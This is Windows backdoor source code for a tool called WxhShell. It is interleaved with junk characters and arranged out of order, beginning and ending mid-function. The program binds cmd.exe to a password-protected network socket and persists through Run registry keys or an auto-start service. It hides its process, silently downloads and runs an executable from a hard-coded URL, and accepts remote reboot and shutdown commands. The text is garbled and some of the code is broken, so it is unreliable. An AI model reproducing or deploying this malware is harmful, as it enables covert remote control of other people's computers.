  case 'd': { @!::_E+F]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !Q{~f;L  
    if(Boot(SHUTDOWN)) Nrzg>WQa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e!P]$em|1E  
    else { \4n9m  
    closesocket(wsh); lFD/hz7lc  
    ExitThread(0); [cT7Iqip  
    } LEA^o"NW.  
    break; m_b_)/  
    } [Y8ot-6  
  // 获取shell G&#l3bkQ  
  case 's': { |3=tF"h  
    CmdShell(wsh); UB7C,:"  
    closesocket(wsh); Xagz(tm/  
    ExitThread(0); VV"1IR  
    break; \= Wrh3  
  } w C-x'  
  // 退出 T^H`$;\  
  case 'x': { *wV`7\@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L87=*_!B;  
    CloseIt(wsh); %i@Jw  
    break; >:P-3#e*  
    } CM 8Ub%  
  // 离开 rQ&F Gb  
  case 'q': { )P9&I.a8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~}ba2dU8  
    closesocket(wsh); g&d tOjM  
    WSACleanup(); 2qPQ3-'  
    exit(1); ` W{y  
    break; M~-jPY,+  
        } M (.Up  
  } C[nacAi  
  } T9]:, z  
xcC^9BAj  
  // 提示信息 H~~>ut6`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dgW/5g  
} zN>tSdNkI-  
  } 92g&,Wb  
B8 R&Q8Q  
  return; ci`N ,&:R  
} ^spASG -o  
CxJH)H$  
// shell模块句柄 mH7Mch| m  
int CmdShell(SOCKET sock) d5 U+]g  
{ ?o_ D#gG*  
STARTUPINFO si; CChCxB  
ZeroMemory(&si,sizeof(si)); +t p@Tb  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7_ao?}g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zzZ K S  
PROCESS_INFORMATION ProcessInfo; ~4u[\&Sh  
char cmdline[]="cmd"; 6q@VkzF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AHdh]pfH  
  return 0; z[De?8=)  
} jmva0K},SE  
99?: 9g  
// 自身启动模式 P~u~`eH*  
int StartFromService(void) CO"Nv  
{ <amdPo+2D  
typedef struct t"FB}%G  
{ 6F08$,%Y  
  DWORD ExitStatus;  bj U]]  
  DWORD PebBaseAddress; j(];b+>  
  DWORD AffinityMask; BYXMbx  
  DWORD BasePriority; ;09U*S$eK  
  ULONG UniqueProcessId; gIcm`5+T  
  ULONG InheritedFromUniqueProcessId; #B8V2_M  
}   PROCESS_BASIC_INFORMATION; 6"_ytqw7  
rPF2IS(5  
PROCNTQSIP NtQueryInformationProcess; XV:icY  
U-lN-/=l6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; gshgl3   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b[ .pD3  
8B|B[,`  
  HANDLE             hProcess; [:bYd}J  
  PROCESS_BASIC_INFORMATION pbi; Oh/2$72  
F@jyTIS^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Oo8"s+G  
  if(NULL == hInst ) return 0; d(;Qe}ok>  
DT>Giic  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m7NrS?7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p^?]xD(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jt4c*0z  
<h mRr  
  if (!NtQueryInformationProcess) return 0; KcF#c_f   
=Vi>?fWpn=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); AJR`ohh  
  if(!hProcess) return 0; lb[\Lzdvmu  
W5zlU2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; UN7J6$!Cx7  
^HI}bS1+|  
  CloseHandle(hProcess); <ly.l]g  
[E4#|w  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qn#f:xltu  
if(hProcess==NULL) return 0; l]KxUkA+  
-`} d@x  
HMODULE hMod; ?;?$\ b=  
char procName[255]; [Z{0|NR  
unsigned long cbNeeded; qo5WZ be  
2^T`> ?{X  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \EOPlyf8x  
U+'h~P'4  
  CloseHandle(hProcess); e$=0.GWT  
t+m ug  
if(strstr(procName,"services")) return 1; // 以服务启动 -KFozwr5/  
`=VN\W^&  
  return 0; // 注册表启动 m{ C  
} Y+ea  
9ZXEy }q57  
// 主模块 3ew`e"s  
int StartWxhshell(LPSTR lpCmdLine) ;-@v1I;  
{ q8P$Md-=b1  
  SOCKET wsl; =#sr4T  
BOOL val=TRUE; 2N[S*#~*e  
  int port=0; I,wgu:}P#  
  struct sockaddr_in door; <-K'9ut,  
DW.vu%j^[  
  if(wscfg.ws_autoins) Install(); {G(N vf,K]  
6A*k  
port=atoi(lpCmdLine); vILq5iR  
3v7*@(y  
if(port<=0) port=wscfg.ws_port; H3qM8_GUA  
|% xgob  
  WSADATA data; ,]qTJ`J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^E`SR6_cmj  
|XoW Z,K  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   fC^POLn[f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !;~6nYY  
  door.sin_family = AF_INET; ={gfx;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L>1i~c&V  
  door.sin_port = htons(port); B|(M xR6m  
|*-&x:p7O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mu#  a  
closesocket(wsl); Zm~oV?6  
return 1; l~i&r?,]^  
} 95^A !  
[ #1<W`95  
  if(listen(wsl,2) == INVALID_SOCKET) { 'Z=8no`<  
closesocket(wsl); y0f"UH/   
return 1; yJG M"$  
} l=?G"1  
  Wxhshell(wsl); C AvyS  
  WSACleanup(); t>izcO  
1# -=|:U  
return 0; %`1 p8>n  
m C &*K  
} \C.s%m  
w5tcO%+k1  
// 以NT服务方式启动 qKL mL2O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N 56/\1R  
{ \c.MIDp"  
DWORD   status = 0; "g>, X[g  
  DWORD   specificError = 0xfffffff; uDXRw*rTv  
y o |"-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; sAec*Q(R  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }Uc)iNU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; haW*W=kv)  
  serviceStatus.dwWin32ExitCode     = 0; eod-N}o  
  serviceStatus.dwServiceSpecificExitCode = 0; % A8dO+W  
  serviceStatus.dwCheckPoint       = 0; /3ty*LQT  
  serviceStatus.dwWaitHint       = 0; B6gn(w3  
pwG"_|h  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vRn"0Mzl8  
  if (hServiceStatusHandle==0) return; ^B`*4  
d iGkwKj  
status = GetLastError(); jdWA)N}kDG  
  if (status!=NO_ERROR) dZ"w2ho  
{ ROc)LCA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z.%K5vrO>  
    serviceStatus.dwCheckPoint       = 0; ^a+H`RD  
    serviceStatus.dwWaitHint       = 0; sj& j\<(  
    serviceStatus.dwWin32ExitCode     = status; C`LHFqv  
    serviceStatus.dwServiceSpecificExitCode = specificError; lZ![?t}2`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q"O4}4`  
    return; zEYT,l  
  } mxQPOu  
fce~a\y0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; r[ }5<S Q  
  serviceStatus.dwCheckPoint       = 0; ,8^QV3  
  serviceStatus.dwWaitHint       = 0; y m~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f7_EqS=(  
} E+$%88  
PA_54a9/<  
// 处理NT服务事件,比如:启动、停止 _cw~N p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /3mt=1/~{B  
{ aH!2zC\:T  
switch(fdwControl) py8)e7gX=  
{ ZN `D!e6  
case SERVICE_CONTROL_STOP: 9C_Vb39::$  
  serviceStatus.dwWin32ExitCode = 0; +M^+qt;]V  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3+>;$  
  serviceStatus.dwCheckPoint   = 0; +J<igb!S  
  serviceStatus.dwWaitHint     = 0; >/5'0n_R  
  { v62M8r,Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dNg5#?mzT5  
  } ap y#8]  
  return; XD=p:Ezh  
case SERVICE_CONTROL_PAUSE: 'l7ey3B%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4gkaCk{]  
  break; U.,_zEbx,  
case SERVICE_CONTROL_CONTINUE: ^vA"3Ixb!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $>csm  
  break; }> pNf  
case SERVICE_CONTROL_INTERROGATE: luj UEHzp  
  break; 7j22KQ|EX^  
}; Z\9DtvV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gfY1:0  
} BhcTPQsW  
MJDW-KL-  
// 标准应用程序主函数 `1fNB1c  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ZS\~GQbG  
{ V^[B=|56  
Q]v><  
// 获取操作系统版本 n |e=7?H8  
OsIsNt=GetOsVer(); +8#hi5e  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q6lC:cB<  
aHR&6zj4  
  // 从命令行安装 rOyKugHe  
  if(strpbrk(lpCmdLine,"iI")) Install(); T}55ZpS C&  
h .%)RW?  
  // 下载执行文件 ^^FqN;  
if(wscfg.ws_downexe) { I"5VkeIx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9H6%\#rw  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6hX[5?}  
} []I _r=  
{^jk_G\ys  
if(!OsIsNt) { iu9<]1k  
// 如果时win9x,隐藏进程并且设置为注册表启动 5tG\5  
HideProc(); WH6Bs=G\}  
StartWxhshell(lpCmdLine); bAVlL&^@|  
} {)L*\r  
else 8v V<A*`  
  if(StartFromService()) *@(j'0hj  
  // 以服务方式启动 @?!&M c2  
  StartServiceCtrlDispatcher(DispatchTable); XQhbH^  
else abgA Ug)  
  // 普通方式启动 X<*-d6?gD`  
  StartWxhshell(lpCmdLine); L63B# H "  
M?QK4Zxb6U  
return 0; $ctpg9 7  
} 1X,\:F.-+  
6Ex 16  
f(Uo?_as  
];63QJU  
=========================================== RAUD8Z  
~M?^T$5  
Q GoBugU  
.2v)x  
VTIRkC wl@  
IL&;2%  
" 'i5,2vT0  
wk[4Qsk<  
#include <stdio.h> hqwDlapTt  
#include <string.h> ?Fp2W+M j  
#include <windows.h> ?Zv>4+Y'  
#include <winsock2.h> > %B7/l$  
#include <winsvc.h> X7Z=@d(  
#include <urlmon.h> lV ra&5  
p/WE[8U  
#pragma comment (lib, "Ws2_32.lib") .wvgH i  
#pragma comment (lib, "urlmon.lib") $z[r (a^a  
kX8Ey  
#define MAX_USER   100 // 最大客户端连接数 L+N;mI8  
#define BUF_SOCK   200 // sock buffer ,\^RyHg  
#define KEY_BUFF   255 // 输入 buffer uJ9 hU`h  
4ynGXJmMlR  
#define REBOOT     0   // 重启 U6K!FOND  
#define SHUTDOWN   1   // 关机 9tBE=L=  
(D~NW*,9  
#define DEF_PORT   5000 // 监听端口 <Dq7^,}#  
W'3~vQF  
#define REG_LEN     16   // 注册表键长度 9>7w1G#  
#define SVC_LEN     80   // NT服务名长度 t}x^*I$*  
mVVL[z2+  
// 从dll定义API sOb=+u$$9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m(rd\3d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &++tp5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); FL?Ndy"I  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h4geoC_W2  
G+V?c1Me  
// wxhshell配置信息 :211T&B%A_  
struct WSCFG { ?j|i|WUD  
  int ws_port;         // 监听端口 + )lkHv$R  
  char ws_passstr[REG_LEN]; // 口令 DNmP>~  
  int ws_autoins;       // 安装标记, 1=yes 0=no ( *Fb/  
  char ws_regname[REG_LEN]; // 注册表键名 2'T uS?  
  char ws_svcname[REG_LEN]; // 服务名 MNWuw;:v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =Yt)b/0b9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xI( t!aYp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >yr1wVS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no < s1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" k+;XQEH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P&.-c _  
U{?#W  
}; wG}Rh,  
d*tn&d~k,  
// default Wxhshell configuration .\}nDT  
struct WSCFG wscfg={DEF_PORT, .z}*!   
    "xuhuanlingzhe", Ux b>)36I  
    1, dO!5` ]  
    "Wxhshell", S<Od`I  
    "Wxhshell", i{2ny$55h  
            "WxhShell Service", P`TJqJiY~  
    "Wrsky Windows CmdShell Service", CEl9/"0s6  
    "Please Input Your Password: ", _4-UM2o;  
  1, ;!Q}g19C  
  "http://www.wrsky.com/wxhshell.exe", kDWMget$  
  "Wxhshell.exe" V PaW-o  
    }; rPXy(d1<`S  
;JV(!8[  
// 消息定义模块 3\E G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; '8V>:dy>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -W'T3_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l0nm>ps'D  
char *msg_ws_ext="\n\rExit."; 'Fr"96C$  
char *msg_ws_end="\n\rQuit."; r"bV{v  
char *msg_ws_boot="\n\rReboot..."; ^udl&>  
char *msg_ws_poff="\n\rShutdown..."; 3u@=]0ZN  
char *msg_ws_down="\n\rSave to "; >})W5Y+  
z 8y.@<6  
char *msg_ws_err="\n\rErr!"; y41,T&ja  
char *msg_ws_ok="\n\rOK!"; 5Zy%Nam'gN  
AZf$XHP2  
char ExeFile[MAX_PATH]; +XoY@|Djd  
int nUser = 0; =kDh:&u%  
HANDLE handles[MAX_USER]; +Vw]DLWR  
int OsIsNt; Y |'}VU  
6O| rI>D  
SERVICE_STATUS       serviceStatus; CA]u3bf~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2kW*Z7@D  
A| s\5"??  
// 函数声明 Y@2v/O,\  
int Install(void); ;Yu|LaI\<m  
int Uninstall(void); ,ocAB;K  
int DownloadFile(char *sURL, SOCKET wsh); i>{.Y};  
int Boot(int flag); 1^AG/w  
void HideProc(void); DM=`hyf(v  
int GetOsVer(void); (Q[(]dfc  
int Wxhshell(SOCKET wsl); A?4s+A@Eg  
void TalkWithClient(void *cs); 1;"DIsz@d  
int CmdShell(SOCKET sock); zY2o;-d|4  
int StartFromService(void); cg).b?g  
int StartWxhshell(LPSTR lpCmdLine); ?AYb@&%  
B'8T+qvA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 91\]Dg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Bhg,P.7  
'h3yxf}\  
// 数据结构和表定义 ?~=5 x  
SERVICE_TABLE_ENTRY DispatchTable[] = H C(7,3  
{ u5rHQA0%  
{wscfg.ws_svcname, NTServiceMain}, YlJ_$Q[  
{NULL, NULL} Ngw/H)<c  
}; ~U+W4%f8  
RhD   
// 自我安装 z#Db~  
int Install(void) P&5kO;ia  
{ Yx':~  
  char svExeFile[MAX_PATH]; nNpXkI:  
  HKEY key; 't n-o  
  strcpy(svExeFile,ExeFile); UoOxGo  
g66x;2Q  
// 如果是win9x系统,修改注册表设为自启动 EWK?vs  
if(!OsIsNt) { P\{ }yd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8[L]w^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M~P h/  
  RegCloseKey(key); 5nS}h76mZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H{ I,m-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y[. f`Ei2  
  RegCloseKey(key); |oX1J<LM  
  return 0; bA02)?L  
    } \%Lj !\  
  } @YHt[>*S  
} DsCbMs=Y  
else { Mt\.?V:  
`9mc+  
// 如果是NT以上系统,安装为系统服务 3_N1y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wOn*QO[  
if (schSCManager!=0) }dpE>  
{ 0s .X  
  SC_HANDLE schService = CreateService 4MPR  
  ( k\Z@B!VAq  
  schSCManager, FJ{6_=@D  
  wscfg.ws_svcname, 6ac_AsFK  
  wscfg.ws_svcdisp, {ug*  
  SERVICE_ALL_ACCESS, Q3rLCg,;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @j'GcN vs  
  SERVICE_AUTO_START, 6!Uk c'r  
  SERVICE_ERROR_NORMAL, 1{.5X8y1x  
  svExeFile, i#:M2&twE  
  NULL, <|1Khygv  
  NULL, L|Bjw3K&D  
  NULL, w-P;E!gTt  
  NULL, H?wf%0  
  NULL EqF>=5*  
  ); h.4FY<  
  if (schService!=0) `i)Pf WdBN  
  { >6Ody<JPHP  
  CloseServiceHandle(schService); q_z;kCHM  
  CloseServiceHandle(schSCManager); (CrP6]=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); BY>]6SrP  
  strcat(svExeFile,wscfg.ws_svcname); hUe\sv!x?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;!,I1{`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .Z(Q7j^  
  RegCloseKey(key); 79Ur1-]/  
  return 0; l0=VE#rFl  
    } N fND@m{/  
  } Kj/Lcx;bh  
  CloseServiceHandle(schSCManager); x\aCZ  
} =+w/t9I[  
} &/8B (0<  
qflOi8  
return 1; <{IeCir  
} TFDzTD  
jKb4d9aX  
// 自我卸载 eqk.+~^  
int Uninstall(void) FB2{qG3  
{ Wn&9R j  
  HKEY key; =kjD ]+l  
: $N43_Wb  
if(!OsIsNt) { N*SUA4bnuM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @`XbM7D 5  
  RegDeleteValue(key,wscfg.ws_regname); EAV6qW\r5]  
  RegCloseKey(key); +Ou<-EQV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g1I8_!}~  
  RegDeleteValue(key,wscfg.ws_regname); ~T!D:2G  
  RegCloseKey(key); @T] G5|\ok  
  return 0; vDCbD#.6  
  } JfRqOEP4Y  
} ufo\p=pGG  
} &Xi] 0\M)  
else { lm|s%  
Uj^Y\w-@Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j+[oZfH  
if (schSCManager!=0) |}Mthj9n  
{ ^+x,211f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]-jaIvM  
  if (schService!=0) 5? *Iaw  
  { 4@=[r Zb9  
  if(DeleteService(schService)!=0) { 9qm'qx  
  CloseServiceHandle(schService); "r HPcp"m  
  CloseServiceHandle(schSCManager); $ZlzS`XF7  
  return 0; th}&|Y)T2  
  } W/.Wp|C}K3  
  CloseServiceHandle(schService); 2/ejU,S  
  } |y&vMx~t  
  CloseServiceHandle(schSCManager); y\Wp} }  
} .t.4y. 97  
} aB{OXU}#  
3j2d&*0  
return 1; Ls'8  
} R'qBG(?i  
s){R/2O3F  
// 从指定url下载文件 q+ka}@  
int DownloadFile(char *sURL, SOCKET wsh) )kIjZ  
{ nPhREn!  
  HRESULT hr; *iV#_  
char seps[]= "/"; 6kO+E5;X  
char *token; wlpcuz@  
char *file; [a7S?%>Bh  
char myURL[MAX_PATH]; ]L?WC  
char myFILE[MAX_PATH]; |Elz{i-  
^ # 3,*(S  
strcpy(myURL,sURL); M$e$%kPShE  
  token=strtok(myURL,seps); WnhH]WY  
  while(token!=NULL) Rm Q>.?  
  { ge#P(Itz  
    file=token; 7-mo\jw<  
  token=strtok(NULL,seps); (zw.?ADPCT  
  } tR(L>ZG{  
|WSm puf  
GetCurrentDirectory(MAX_PATH,myFILE); c 6/lfgN  
strcat(myFILE, "\\"); q#`;G,rs  
strcat(myFILE, file); |#EI(W?`  
  send(wsh,myFILE,strlen(myFILE),0); B-V   
send(wsh,"...",3,0); jF-0fK;)*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c3*9{Il^  
  if(hr==S_OK) +/r h8?  
return 0; -^t&U] g  
else g_)i)V  
return 1; F6" QsFG  
=z'533C  
} 9#a/at]  
$x2G/5?  
// 系统电源模块 tD])&0"(  
int Boot(int flag) - XB[2h  
{ A:*$rHbzl  
  HANDLE hToken; k[\JT[Mp  
  TOKEN_PRIVILEGES tkp; :<uCi\9(  
LG'1^W{a  
  if(OsIsNt) { j6Au<P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  /UtSZ(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]0g1P-&,U  
    tkp.PrivilegeCount = 1; lr$,=P`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :-~x~ah-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZWx4/G  
if(flag==REBOOT) { @}{Fw;,(7n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ._<gc;G  
  return 0; 9mEhZ"  
} qG0gc\C}  
else { c3Zwp%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i|fkwV,5  
  return 0; >HRLL\u9  
} `3.bux~  
  } 2G$-:4B  
  else { 9HAK  
if(flag==REBOOT) { EHm:&w  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `!.c_%m2  
  return 0; d{DBG}/Yg  
} x)T07,3:  
else { U!T#'H5'-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) m^4Ojik  
  return 0; Ps~)l#gue  
} ]o`FF="at  
} q[+V6n `Z5  
W |+&K0M  
return 1; #J%Fi).^)  
} [Rzn>  
[}y"rs`!  
// win9x进程隐藏模块 Zk0?=f?j  
void HideProc(void) ?{>5IjL)en  
{ \?AA:U*  
EiWd =jDm  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v[>8<z8  
  if ( hKernel != NULL ) %Z(lTvqG  
  { !De U8.%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @4jPaqa(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [bd?$q i  
    FreeLibrary(hKernel); b<KKF'  
  } rH[Eh8j,  
A{Q~@1  
return; #b{;)C fL  
} CxVrnb[`q  
q,(hs]\@  
// 获取操作系统版本 / !A&z4;D  
int GetOsVer(void) ;MjOs&1f0K  
{ Yq:TW eZD  
  OSVERSIONINFO winfo; _x?S0R1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); UFUm-~x`  
  GetVersionEx(&winfo); rE\.[mFI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  34~[dY  
  return 1; PSa"u5O  
  else V,:~FufM^  
  return 0; kZS&q/6A*  
} *. ; }v@  
BO;LK-V  
// 客户端句柄模块 {4b8s%:!4  
int Wxhshell(SOCKET wsl) <nn!9V\C   
{ RQ[6svfP  
  SOCKET wsh; e6^iakSd.L  
  struct sockaddr_in client; mC84fss  
  DWORD myID; k!m9 l1x  
K|-RAjE  
  while(nUser<MAX_USER) [E/8E h<  
{ z#sSLE.$Z  
  int nSize=sizeof(client); P4~C0z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N9cUlrDO  
  if(wsh==INVALID_SOCKET) return 1; ^ v@& q  
U+g<lgH1J  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P3V }cGZ  
if(handles[nUser]==0) }L|XZL_Jo#  
  closesocket(wsh); S|ADu]H(  
else (+0yZ7AZ  
  nUser++; wGnFDkCNz  
  } u/L\e.4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )9>E} SU/  
)rv<"  
  return 0; y&+Sp/6BYA  
} 44cy_  
TzK[:o  
// 关闭 socket NeY,Of|  
void CloseIt(SOCKET wsh) woR }=\K  
{ T13Jno  
closesocket(wsh); .R {P%r  
nUser--; B!z5P" C(~  
ExitThread(0); }4"T# [n#  
} F#Xzh Ds  
=k22f`8ew  
// 客户端请求句柄 > v ]-B"Y  
void TalkWithClient(void *cs) JZB@K6 ~dO  
{ XRR`GBI  
D$y-Kh  
  SOCKET wsh=(SOCKET)cs; ziui  
  char pwd[SVC_LEN]; QOY M/1U  
  char cmd[KEY_BUFF]; 8&9'1X5)8_  
char chr[1]; w97B)Kn6  
int i,j; 7 {#^ zr  
Tof H =d  
  while (nUser < MAX_USER) { "WHt9 yZ  
4';(\42  
if(wscfg.ws_passstr) { bO?Us  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C\p _  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XvspE}~y  
  //ZeroMemory(pwd,KEY_BUFF); ' fP`ET5  
      i=0; 0CRk&_ht  
  while(i<SVC_LEN) { ~b.e9FhdA  
S4BU!  
  // 设置超时 w@ =Uf7  
  fd_set FdRead; Og~3eL[1%C  
  struct timeval TimeOut; T)PH8 "  
  FD_ZERO(&FdRead); t@\op}Z-M  
  FD_SET(wsh,&FdRead); 6H}8^'/u  
  TimeOut.tv_sec=8; Qape DU;  
  TimeOut.tv_usec=0; U49 `!~b7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +cnBEv~y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4I^8f||b_  
VCUEzR0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sj0{;>>%+N  
  pwd=chr[0]; 'w5g s}1D  
  if(chr[0]==0xd || chr[0]==0xa) { }H<87zH  
  pwd=0; |v%xOl  
  break; o>Jr6: D(  
  } r b@{ir  
  i++; #q%V|Ajq  
    } ",qJG]_ <  
9n[ovX 7n!  
  // 如果是非法用户,关闭 socket s0x;<si_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #y&O5    
} L@HWm;aN  
n:wZL&ZV0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Gt;59}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1ti4 ZM  
3A.T_mGCs  
while(1) { {y k0Zef_  
jh&WL  
  ZeroMemory(cmd,KEY_BUFF); 4w5mn6MxR  
u$?t |Ll  
      // 自动支持客户端 telnet标准   R3=]Av46  
  j=0; Fxr$j\bm  
  while(j<KEY_BUFF) { D27MT/=7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =Wj{J.7mf]  
  cmd[j]=chr[0]; O}IRM|r"  
  if(chr[0]==0xa || chr[0]==0xd) { V,CVMbn/%N  
  cmd[j]=0; 5b^`M  
  break; mlD 1 o  
  } d=_Wgz,d  
  j++; +sc--e?  
    } d2e4=/ A%  
Zr.6J*&!  
  // 下载文件 `upxM0gc  
  if(strstr(cmd,"http://")) { <..|:0Q&~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _<i*{;kR6  
  if(DownloadFile(cmd,wsh)) # U j~F  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7xmif YC  
  else #c:b8rw  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZBAtRs  
  } ]TmxCTVL  
  else { CAl]Kpc  
n@Ar%%\  
    switch(cmd[0]) { 5==}8<$  
  H_CX5=Nq^  
